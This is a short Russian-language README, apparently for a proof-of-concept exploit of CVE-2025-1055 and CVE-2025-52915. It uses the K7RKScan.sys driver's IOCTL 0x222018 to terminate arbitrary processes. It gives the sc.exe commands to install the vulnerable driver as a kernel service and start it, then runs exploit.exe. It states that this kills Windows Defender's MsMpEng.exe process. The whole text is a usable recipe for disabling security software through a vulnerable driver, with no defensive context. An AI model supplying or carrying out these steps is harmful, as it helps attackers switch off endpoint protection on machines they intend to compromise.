
PoC для CVE-2025-1055 и CVE-2025-52915 с использованием K7RKScan.sys
PoC для CVE-2025-1055 и CVE-2025-52915 с использованием K7RKScan.sys. Этот PoC использует IOCTL 0x222018 для завершения произвольных процессов.
Установка драйвера:
sc.exe create K7RKScan_1516.sys binPath=C:\Users\Administrator\Downloads\K7RKScan_1516.sys type=kernel && sc.exe start K7RKScan_1516.sys
Запуск PoC:
exploit.exe
Он завершит процесс MsMpEng.exe (защитник Windows).